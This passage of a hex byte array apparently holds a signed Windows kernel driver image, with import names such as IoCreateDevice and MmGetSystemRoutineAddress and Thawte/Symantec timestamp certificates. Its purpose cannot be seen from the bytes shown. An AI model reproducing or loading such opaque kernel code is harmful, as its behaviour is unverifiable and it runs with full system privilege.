0x00, 0x00, 0x00, 0x00, 0x00, 0xAC, 0x03, 0x00, 0x00, 0x7C, 0x04, 0x00, 0x00, 0xA8, 0x07, 0x00, 0x00, 0x7C, 0x04, 0x00, 0x00, 0xE1, 0x04, 0x00, 0x00, 0xB0, 0x07, 0x00, 0x00, 0xE4, 0x04, 0x00, 0x00, 0x21, 0x05, 0x00, 0x00, 0xB8, 0x07, 0x00, 0x00, 0x24, 0x05, 0x00, 0x00, 0x8F, 0x05, 0x00, 0x00, 0xC0,
0x07, 0x00, 0x00, 0x90, 0x05, 0x00, 0x00, 0x3C, 0x06, 0x00, 0x00, 0xC8, 0x07, 0x00, 0x00, 0x3C, 0x06, 0x00, 0x00, 0x57, 0x07, 0x00, 0x00, 0xD4, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x87, 0x00, 0xEA, 0x00, 0xFD, 0x00, 0x9A, 0x00, 0x4B, 0x00, 0x73, 0x00, 0x54, 0x00, 0xA4, 0x00, 0x5C,
0x00, 0x8F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0x00, 0x77, 0x00, 0xB1, 0x00, 0xF7, 0x00, 0x88, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0x00, 0xB6, 0x00, 0xFE, 0x00, 0xF7, 0x00, 0xC9, 0x00, 0xB2, 0x00, 0xDD, 0x00, 0x90, 0x00, 0xC3, 0x00, 0xDB, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA8, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x86, 0x0B, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFA, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2A, 0x0B, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x40, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5C, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5F, 0x01, 0x49, 0x6F, 0x44, 0x65, 0x6C,
0x65, 0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, 0x61, 0x01, 0x49, 0x6F, 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x53, 0x79, 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, 0x3E, 0x04, 0x52, 0x74, 0x6C, 0x49, 0x6E, 0x69, 0x74, 0x55, 0x6E, 0x69, 0x63, 0x6F, 0x64,
0x65, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x00, 0xF6, 0x01, 0x49, 0x6F, 0x66, 0x43, 0x6F, 0x6D, 0x70, 0x6C, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x00, 0x00, 0xC2, 0x02, 0x4D, 0x6D, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x52, 0x6F, 0x75, 0x74, 0x69, 0x6E,
0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x55, 0x01, 0x49, 0x6F, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, 0x4C, 0x01, 0x49, 0x6F, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x00,
0x00, 0x6E, 0x74, 0x6F, 0x73, 0x6B, 0x72, 0x6E, 0x6C, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x1D, 0x00, 0x00, 0x00, 0x02, 0x02, 0x00, 0x30, 0x82, 0x1D, 0x40, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, 0x02, 0xA0, 0x82, 0x1D, 0x31,
0x30, 0x82, 0x1D, 0x2D, 0x02, 0x01, 0x01, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0x30, 0x4C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x04, 0xA0, 0x3E, 0x30, 0x3C, 0x30, 0x17, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02,
0x01, 0x0F, 0x30, 0x09, 0x03, 0x01, 0x00, 0xA0, 0x04, 0xA2, 0x02, 0x80, 0x00, 0x30, 0x21, 0x30, 0x09, 0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0x04, 0x14, 0x1D, 0x1C, 0xAF, 0xC7, 0x3C, 0x97, 0xC6, 0xBC, 0xD2, 0x33, 0x1F, 0x87, 0x77, 0xD9, 0x0F, 0xDC, 0xA5, 0x71, 0x25, 0xA3, 0xA0, 0x82,
0x18, 0x8B, 0x30, 0x82, 0x03, 0xEE, 0x30, 0x82, 0x03, 0x57, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, 0x7E, 0x93, 0xEB, 0xFB, 0x7C, 0xC6, 0x4E, 0x59, 0xEA, 0x4B, 0x9A, 0x77, 0xD4, 0x06, 0xFC, 0x3B, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x81,
0x8B, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x5A, 0x41, 0x31, 0x15, 0x30, 0x13, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0C, 0x57, 0x65, 0x73, 0x74, 0x65, 0x72, 0x6E, 0x20, 0x43, 0x61, 0x70, 0x65, 0x31, 0x14, 0x30, 0x12, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x0B, 0x44, 0x75,
0x72, 0x62, 0x61, 0x6E, 0x76, 0x69, 0x6C, 0x6C, 0x65, 0x31, 0x0F, 0x30, 0x0D, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x06, 0x54, 0x68, 0x61, 0x77, 0x74, 0x65, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x14, 0x54, 0x68, 0x61, 0x77, 0x74, 0x65, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66,
0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x1F, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x16, 0x54, 0x68, 0x61, 0x77, 0x74, 0x65, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x73, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x43, 0x41, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x32, 0x31, 0x32, 0x32, 0x31,
0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5A, 0x17, 0x0D, 0x32, 0x30, 0x31, 0x32, 0x33, 0x30, 0x32, 0x33, 0x35, 0x39, 0x35, 0x39, 0x5A, 0x30, 0x5E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x14, 0x53, 0x79,
0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E,
0x67, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x43, 0x41, 0x20, 0x2D, 0x20, 0x47, 0x32, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01,
0x00, 0xB1, 0xAC, 0xB3, 0x49, 0x54, 0x4B, 0x97, 0x1C, 0x12, 0x0A, 0xD8, 0x25, 0x79, 0x91, 0x22, 0x57, 0x2A, 0x6F, 0xDC, 0xB8, 0x26, 0xC4, 0x43, 0x73, 0x6B, 0xC2, 0xBF, 0x2E, 0x50, 0x5A, 0xFB, 0x14, 0xC2, 0x76, 0x8E, 0x43, 0x01, 0x25, 0x43, 0xB4, 0xA1, 0xE2, 0x45, 0xF4, 0xE8, 0xB7, 0x7B, 0xC3, 0x74,
0xCC, 0x22, 0xD7, 0xB4, 0x94, 0x00, 0x02, 0xF7, 0x4D, 0xED, 0xBF, 0xB4, 0xB7, 0x44, 0x24, 0x6B, 0xCD, 0x5F, 0x45, 0x3B, 0xD1, 0x44, 0xCE, 0x43, 0x12, 0x73, 0x17, 0x82, 0x8B, 0x69, 0xB4, 0x2B, 0xCB, 0x99, 0x1E, 0xAC, 0x72, 0x1B, 0x26, 0x4D, 0x71, 0x1F, 0xB1, 0x31, 0xDD, 0xFB, 0x51, 0x61, 0x02, 0x53,
0xA6, 0xAA, 0xF5, 0x49, 0x2C, 0x05, 0x78, 0x45, 0xA5, 0x2F, 0x89, 0xCE, 0xE7, 0x99, 0xE7, 0xFE, 0x8C, 0xE2, 0x57, 0x3F, 0x3D, 0xC6, 0x92, 0xDC, 0x4A, 0xF8, 0x7B, 0x33, 0xE4, 0x79, 0x0A, 0xFB, 0xF0, 0x75, 0x88, 0x41, 0x9C, 0xFF, 0xC5, 0x03, 0x51, 0x99, 0xAA, 0xD7, 0x6C, 0x9F, 0x93, 0x69, 0x87, 0x65,
0x29, 0x83, 0x85, 0xC2, 0x60, 0x14, 0xC4, 0xC8, 0xC9, 0x3B, 0x14, 0xDA, 0xC0, 0x81, 0xF0, 0x1F, 0x0D, 0x74, 0xDE, 0x92, 0x22, 0xAB, 0xCA, 0xF7, 0xFB, 0x74, 0x7C, 0x27, 0xE6, 0xF7, 0x4A, 0x1B, 0x7F, 0xA7, 0xC3, 0x9E, 0x2D, 0xAE, 0x8A, 0xEA, 0xA6, 0xE6, 0xAA, 0x27, 0x16, 0x7D, 0x61, 0xF7, 0x98, 0x71,
0x11, 0xBC, 0xE2, 0x50, 0xA1, 0x4B, 0xE5, 0x5D, 0xFA, 0xE5, 0x0E, 0xA7, 0x2C, 0x9F, 0xAA, 0x65, 0x20, 0xD3, 0xD8, 0x96, 0xE8, 0xC8, 0x7C, 0xA5, 0x4E, 0x48, 0x44, 0xFF, 0x19, 0xE2, 0x44, 0x07, 0x92, 0x0B, 0xD7, 0x68, 0x84, 0x80, 0x5D, 0x6A, 0x78, 0x64, 0x45, 0xCD, 0x60, 0x46, 0x7E, 0x54, 0xC1, 0x13,
0x7C, 0xC5, 0x79, 0xF1, 0xC9, 0xC1, 0x71, 0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x81, 0xFA, 0x30, 0x81, 0xF7, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0x5F, 0x9A, 0xF5, 0x6E, 0x5C, 0xCC, 0xCC, 0x74, 0x9A, 0xD4, 0xDD, 0x7D, 0xEF, 0x3F, 0xDB, 0xEC, 0x4C, 0x80, 0x2E, 0xDD, 0x30,
0x32, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, 0x26, 0x30, 0x24, 0x30, 0x22, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x16, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x6F, 0x63, 0x73, 0x70, 0x2E, 0x74, 0x68, 0x61, 0x77, 0x74, 0x65, 0x2E, 0x63, 0x6F,
0x6D, 0x30, 0x12, 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x08, 0x30, 0x06, 0x01, 0x01, 0xFF, 0x02, 0x01, 0x00, 0x30, 0x3F, 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x38, 0x30, 0x36, 0x30, 0x34, 0xA0, 0x32, 0xA0, 0x30, 0x86, 0x2E, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x72, 0x6C,
0x2E, 0x74, 0x68, 0x61, 0x77, 0x74, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x54, 0x68, 0x61, 0x77, 0x74, 0x65, 0x54, 0x69, 0x6D, 0x65, 0x73, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x43, 0x41, 0x2E, 0x63, 0x72, 0x6C, 0x30, 0x13, 0x06, 0x03, 0x55, 0x1D, 0x25, 0x04, 0x0C, 0x30, 0x0A, 0x06, 0x08, 0x2B,
0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x08, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x1D, 0x0F, 0x01, 0x01, 0xFF, 0x04, 0x04, 0x03, 0x02, 0x01, 0x06, 0x30, 0x28, 0x06, 0x03, 0x55, 0x1D, 0x11, 0x04, 0x21, 0x30, 0x1F, 0xA4, 0x1D, 0x30, 0x1B, 0x31, 0x19, 0x30, 0x17, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x10, 0x54,
0x69, 0x6D, 0x65, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x2D, 0x32, 0x30, 0x34, 0x38, 0x2D, 0x31, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x81, 0x81, 0x00, 0x03, 0x09, 0x9B, 0x8F, 0x79, 0xEF, 0x7F, 0x59, 0x30, 0xAA, 0xEF, 0x68, 0xB5, 0xFA, 0xE3, 0x09,
0x1D, 0xBB, 0x4F, 0x82, 0x06, 0x5D, 0x37, 0x5F, 0xA6, 0x52, 0x9F, 0x16, 0x8D, 0xEA, 0x1C, 0x92, 0x09, 0x44, 0x6E, 0xF5, 0x6D, 0xEB, 0x58, 0x7C, 0x30, 0xE8, 0xF9, 0x69, 0x8D, 0x23, 0x73, 0x0B, 0x12, 0x6F, 0x47, 0xA9, 0xAE, 0x39, 0x11, 0xF8, 0x2A, 0xB1, 0x9B, 0xB0, 0x1A, 0xC3, 0x8E, 0xEB, 0x59, 0x96,
0x00, 0xAD, 0xCE, 0x0C, 0x4D, 0xB2, 0xD0, 0x31, 0xA6, 0x08, 0x5C, 0x2A, 0x7A, 0xFC, 0xE2, 0x7A, 0x1D, 0x57, 0x4C, 0xA8, 0x65, 0x18, 0xE9, 0x79, 0x40, 0x62, 0x25, 0x96, 0x6E, 0xC7, 0xC7, 0x37, 0x6A, 0x83, 0x21, 0x08, 0x8E, 0x41, 0xEA, 0xDD, 0xD9, 0x57, 0x3F, 0x1D, 0x77, 0x49, 0x87, 0x2A, 0x16, 0x06,
0x5E, 0xA6, 0x38, 0x6A, 0x22, 0x12, 0xA3, 0x51, 0x19, 0x83, 0x7E, 0xB6, 0x30, 0x82, 0x04, 0xA3, 0x30, 0x82, 0x03, 0x8B, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, 0x0E, 0xCF, 0xF4, 0x38, 0xC8, 0xFE, 0xBF, 0x35, 0x6E, 0x04, 0xD8, 0x6A, 0x98, 0x1B, 0x1A, 0x50, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48,
0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x5E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61,
0x74, 0x69, 0x6F, 0x6E, 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x43, 0x41, 0x20,
0x2D, 0x20, 0x47, 0x32, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x32, 0x31, 0x30, 0x31, 0x38, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5A, 0x17, 0x0D, 0x32, 0x30, 0x31, 0x32, 0x32, 0x39, 0x32, 0x33, 0x35, 0x39, 0x35, 0x39, 0x5A, 0x30, 0x62, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55,
0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x34, 0x30, 0x32, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x2B, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65,
0x63, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x53, 0x69, 0x67, 0x6E, 0x65, 0x72, 0x20, 0x2D, 0x20, 0x47, 0x34, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D,
0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, 0xA2, 0x63, 0x0B, 0x39, 0x44, 0xB8, 0xBB, 0x23, 0xA7, 0x44, 0x49, 0xBB, 0x0E, 0xFF, 0xA1, 0xF0, 0x61, 0x0A, 0x53, 0x93, 0xB0, 0x98, 0xDB, 0xAD, 0x2C, 0x0F, 0x4A, 0xC5, 0x6E, 0xFF, 0x86,
0x3C, 0x53, 0x55, 0x0F, 0x15, 0xCE, 0x04, 0x3F, 0x2B, 0xFD, 0xA9, 0x96, 0x96, 0xD9, 0xBE, 0x61, 0x79, 0x0B, 0x5B, 0xC9, 0x4C, 0x86, 0x76, 0xE5, 0xE0, 0x43, 0x4B, 0x22, 0x95, 0xEE, 0xC2, 0x2B, 0x43, 0xC1, 0x9F, 0xD8, 0x68, 0xB4, 0x8E, 0x40, 0x4F, 0xEE, 0x85, 0x38, 0xB9, 0x11, 0xC5, 0x23, 0xF2, 0x64,
0x58, 0xF0, 0x15, 0x32, 0x6F, 0x4E, 0x57, 0xA1, 0xAE, 0x88, 0xA4, 0x02, 0xD7, 0x2A, 0x1E, 0xCD, 0x4B, 0xE1, 0xDD, 0x63, 0xD5, 0x17, 0x89, 0x32, 0x5B, 0xB0, 0x5E, 0x99, 0x5A, 0xA8, 0x9D, 0x28, 0x50, 0x0E, 0x17, 0xEE, 0x96, 0xDB, 0x61, 0x3B, 0x45, 0x51, 0x1D, 0xCF, 0x12, 0x56, 0x0B, 0x92, 0x47, 0xFC,
0xAB, 0xAE, 0xF6, 0x66, 0x3D, 0x47, 0xAC, 0x70, 0x72, 0xE7, 0x92, 0xE7, 0x5F, 0xCD, 0x10, 0xB9, 0xC4, 0x83, 0x64, 0x94, 0x19, 0xBD, 0x25, 0x80, 0xE1, 0xE8, 0xD2, 0x22, 0xA5, 0xD0, 0xBA, 0x02, 0x7A, 0xA1, 0x77, 0x93, 0x5B, 0x65, 0xC3, 0xEE, 0x17, 0x74, 0xBC, 0x41, 0x86, 0x2A, 0xDC, 0x08, 0x4C, 0x8C,
0x92, 0x8C, 0x91, 0x2D, 0x9E, 0x77, 0x44, 0x1F, 0x68, 0xD6, 0xA8, 0x74, 0x77, 0xDB, 0x0E, 0x5B, 0x32, 0x8B, 0x56, 0x8B, 0x33, 0xBD, 0xD9, 0x63, 0xC8, 0x49, 0x9D, 0x3A, 0xC5, 0xC5, 0xEA, 0x33, 0x0B, 0xD2, 0xF1, 0xA3, 0x1B, 0xF4, 0x8B, 0xBE, 0xD9, 0xB3, 0x57, 0x8B, 0x3B, 0xDE, 0x04, 0xA7, 0x7A, 0x22,
0xB2, 0x24, 0xAE, 0x2E, 0xC7, 0x70, 0xC5, 0xBE, 0x4E, 0x83, 0x26, 0x08, 0xFB, 0x0B, 0xBD, 0xA9, 0x4F, 0x99, 0x08, 0xE1, 0x10, 0x28, 0x72, 0xAA, 0xCD, 0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x82, 0x01, 0x57, 0x30, 0x82, 0x01, 0x53, 0x30, 0x0C, 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x02,
0x30, 0x00, 0x30, 0x16, 0x06, 0x03, 0x55, 0x1D, 0x25, 0x01, 0x01, 0xFF, 0x04, 0x0C, 0x30, 0x0A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x08, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x1D, 0x0F, 0x01, 0x01, 0xFF, 0x04, 0x04, 0x03, 0x02, 0x07, 0x80, 0x30, 0x73, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05,
0x05, 0x07, 0x01, 0x01, 0x04, 0x67, 0x30, 0x65, 0x30, 0x2A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x1E, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x74, 0x73, 0x2D, 0x6F, 0x63, 0x73, 0x70, 0x2E, 0x77, 0x73, 0x2E, 0x73, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x2E, 0x63,
0x6F, 0x6D, 0x30, 0x37, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x02, 0x86, 0x2B, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x74, 0x73, 0x2D, 0x61, 0x69, 0x61, 0x2E, 0x77, 0x73, 0x2E, 0x73, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x74, 0x73, 0x73, 0x2D,
0x63, 0x61, 0x2D, 0x67, 0x32, 0x2E, 0x63, 0x65, 0x72, 0x30, 0x3C, 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x35, 0x30, 0x33, 0x30, 0x31, 0xA0, 0x2F, 0xA0, 0x2D, 0x86, 0x2B, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x74, 0x73, 0x2D, 0x63, 0x72, 0x6C, 0x2E, 0x77, 0x73, 0x2E, 0x73, 0x79, 0x6D, 0x61, 0x6E,
0x74, 0x65, 0x63, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x74, 0x73, 0x73, 0x2D, 0x63, 0x61, 0x2D, 0x67, 0x32, 0x2E, 0x63, 0x72, 0x6C, 0x30, 0x28, 0x06, 0x03, 0x55, 0x1D, 0x11, 0x04, 0x21, 0x30, 0x1F, 0xA4, 0x1D, 0x30, 0x1B, 0x31, 0x19, 0x30, 0x17, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x10, 0x54, 0x69, 0x6D,
0x65, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x2D, 0x32, 0x30, 0x34, 0x38, 0x2D, 0x32, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0x46, 0xC6, 0x69, 0xA3, 0x0E, 0x4A, 0x14, 0x1E, 0xD5, 0x4C, 0xDA, 0x52, 0x63, 0x17, 0x3F, 0x5E, 0x36, 0xBC, 0x0D, 0xE6, 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D,
